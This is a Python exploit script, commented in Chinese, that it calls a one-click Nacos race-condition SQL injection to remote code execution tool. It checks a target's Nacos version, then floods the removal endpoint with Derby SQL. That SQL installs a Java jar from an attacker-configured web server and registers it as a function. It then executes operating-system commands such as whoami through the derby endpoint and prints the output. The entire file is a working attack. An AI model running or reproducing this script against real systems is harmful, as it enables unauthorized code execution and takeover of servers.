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check.py
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# -*- coding:utf-8 -*-
# @FileName :check.py
# @Time :2024/12/6 3:21
# Author: lbb
import json
import random
import sys
import requests
import urllib3
from urllib.parse import urljoin
class Check:
"""
初始化程序
:param flag: 是否启用代理的标志，为布尔类型，True表示启用代理，False表示不启用代理
"""
def __init__(self, flag):
# logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(message)s')
self.flag = flag
self.jwt = self.start_ini('jwt')
self.url = self.start_ini('url')
self.service = self.start_ini('web_server')
self.proxies = {'http': "http://127.0.0.1:8081", 'https': "https://127.0.0.1:8081"}
self.headers = {
'accessToken': self.jwt,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/97.0.4692.71 Safari/537.36',
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh;q=0.9',
}
print(f"[+] 当前身份认证信息{self.jwt}")
print(f"[+] 当前设置web server 地址 {self.service}")
"""
定义POST请求方法
:param url: 传入的url地址
:param flag: 是否启用代理的标志，为布尔类型，True表示启用代理，False表示不启用代理
:param data: post请求体数据
"""
def re_post(self, url, flag, files) -> str:
urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
while True:
try:
r = requests.post(url, files=files, headers=self.headers,
verify=False,
proxies=self.proxies if flag else None)
code = r.status_code
if code == 200:
# 任务请求成功
return r.text
elif code == 401 or code == 403:
# 任务正在使用，等待后重试
exit(f"[+] 当前状态码 {code} 需要登录? 确定是nacos系统吗？ 路径是否错误？当前路径 {url}")
else:
raise requests.exceptions.HTTPError(f"Unexpected status code: {code}")
except requests.exceptions.HTTPError as error:
print(f"[+] HTTP错误: {error}")
break
except requests.exceptions.ConnectionError as error:
print(f"[+] 连接错误: {error}")
break
except requests.exceptions.Timeout as error:
print(f"[+] 请求超时: {error}")
break
except requests.exceptions.RequestException as error:
print(f"[+] 请求错误: {error}")
break
"""
定义GET请求方法
:param url: 传入的url地址
:param flag: 是否启用代理的标志，为布尔类型，True表示启用代理，False表示不启用代理
"""
"""
定义GET请求方法
:param url: 传入的url地址
:param flag: 是否启用代理的标志，为布尔类型，True表示启用代理，False表示不启用代理
"""
def re_get(self, url, get_sql) -> str:
flag = self.flag
urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
while True:
try:
r = requests.get(url, params={'sql': get_sql}, headers=self.headers,
verify=False,
proxies=self.proxies if flag else None)
code = r.status_code
if code == 200:
# 任务请求成功
return r.text
elif code == 401 or code == 403:
# 任务正在使用，等待后重试
print(f"[+] 文件似乎上传成功了？，当前状态码{code} 是否需要登录？")
print("[+] 文件上传失败！，请检查版本或配置文件？当前环境是否存在ids waf？")
else:
raise requests.exceptions.HTTPError(f"Unexpected status code: {code}")
except requests.exceptions.HTTPError as error:
print(f"[+] HTTP错误: {error}")
break
except requests.exceptions.ConnectionError as error:
print(f"[+] 连接错误: {error}")
break
except requests.exceptions.Timeout as error:
print(f"[+] 请求超时: {error}")
break
except requests.exceptions.RequestException as error:
print(f"[+] 请求错误: {error}")
break
"""
是否是可以利用的版本
:param url: 传入的url地址
"""
def check_vulnerability_version(self, url) -> None:
check_url = urljoin(url, "nacos/v1/console/server/state")
data = self.re_get(check_url, self.flag)
json_data = json.loads(data)
version = json_data['version']
vulnerability_version = ['2.3.2', '2.3.1', '1.4.7 ', '2.3.0', '2.3.0-BETA', '2.2.4', '2.2.3', '1.4.6', '2.2.2',
'2.2.1', '1.4.5', '2.2.0.1', '2.2.1-RC', '2.2.0', '2.2.0-BETA', '2.1.2', '2.1.1',
'1.4.4', '2.1.0', '2.1.0-BETA', '1.4.3', '2.0.4', '2.0.3', '2.0.2', '2.0.1', '1.4.2',
'2.0.0', '2.0.0-BETA', '2.0.0-ALPHA.2', '1.4.1', '2.0.0-ALPHA.1', '1.4.0',
'1.4.0-BETA', '1.3.2', '1.3.1', '1.3.1-BETA', '1.3.0', '1.2.1', '1.2.0-beta.1',
'1.2.0-beta.0', '1.1.4', '1.1.3', '1.1.0', '1.0.1', '1.0.0', '1.0.0-RC3', '1.0.0-RC2',
'0.9.0', '0.8.0', '0.7.0', '0.6.1', '0.6.0', '0.5.0', '0.4.0', '0.3.0', '0.3.0-RC1',
'0.2.1', '0.2.1-RC1', 'v0.2.0', 'v0.1.0']
if version in vulnerability_version:
print(f"[+] 当前版本{version} 在漏洞版本中！")
else:
print(f"[+] 当前版本{version} 不在漏洞版本中，请检查是否低于<=2.3.2利用条件")
print(f"[+] 当前版本{version} 不在漏洞版本中，已开始尝试强制利用失败率过高！")
"""
条件竞争上传文件
:param url: 传入的url地址
"""
def up_file(self, url, command="whoami") -> None:
global ids
up_file_api = urljoin(url, '/nacos/v1/cs/ops/data/removal')
for i in range(0, sys.maxsize):
ids = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(
id=ids, service=self.service)
files = {'file': post_sql}
data = self.re_post(up_file_api, self.flag, files)
json_data = json.loads(data)
if json_data['code'] == 200:
print("[+] 文件上传成功！")
break
else:
if i > 50:
print("[+] 文件上传失败！，请检查版本或配置文件？当前环境是否存在ids waf？")
print(f"[+] 当前上传{i}次数已超过50次")
self.show_command(url, ids, command)
"""
条件竞争上传文件
:param url: 传入的url地址
"""
def show_command(self, url, ids, command) -> None:
derby_api = urljoin(url, '/nacos/v1/cs/ops/derby')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(
id=ids, cmd=command)
data = self.re_get(derby_api, get_sql)
print(f"[+] 当前目标 {url}")
print(f"[+] 执行命令 {command}")
print(f"[+] 查询执行命令结果 {command}")
json_data = json.loads(data)
dict_data = json_data['data'][0]
print(f"[+] {dict_data['A']}")
"""
是否是可以利用的版本
:param url: 传入的url地址
"""
def check_vulnerability(self) -> None:
for url in self.url:
self.check_vulnerability_version(url)
self.up_file(url)
"""
是否是可以利用的版本
:param filename: 读取文件的名称
"""
@staticmethod
def start_ini(filename) -> None:
if filename == 'jwt':
try:
with open('jwt', "r", encoding='utf-8') as f:
jwt = f.read().strip() # 读取文件内容并去除可能存在的空白字符
if not jwt: # 检查jwt是否为空
print(f"[+] 当前jwt值为空，当前nacos不需要权限吗？")
jwt = ""
except FileNotFoundError:
print(f"[+] 文件打开错误！")
except Exception as e:
print(f"[+] {e}")
return jwt
elif filename == 'url':
try:
with open('url', "r", encoding='utf-8') as f:
urls = f.readlines()
if not urls: # 检查jwt是否为空
print(f"[+] 当前目标为空！")
exit()
return [url.strip() for url in urls]
except FileNotFoundError:
print(f"[+] 文件打开错误！")
except Exception as e:
print(f"[+] {e}")
elif filename == "web_server":
if filename == 'web_server':
try:
with open('web_server', "r", encoding='utf-8') as f:
service = f.read().strip() # 读取文件内容并去除可能存在的空白字符
if not service: # 检查jwt是否为空
print(f"[+] 当前web_server配置为空，这是必须要配置的选项！")
service = "127.0.0.1:5000"
except FileNotFoundError:
print(f"[+] 文件打开错误！")
except Exception as e:
print(f"[+] {e}")
return service
else:
print(f"[+] 初始化错误！")
if __name__ == '__main__':
print('''
Nacos removal 条件竞争 SQL 注入至RCE 一键利用脚本
by charis/lbb
2024/12/06
''')
exp = Check(True)
exp.check_vulnerability()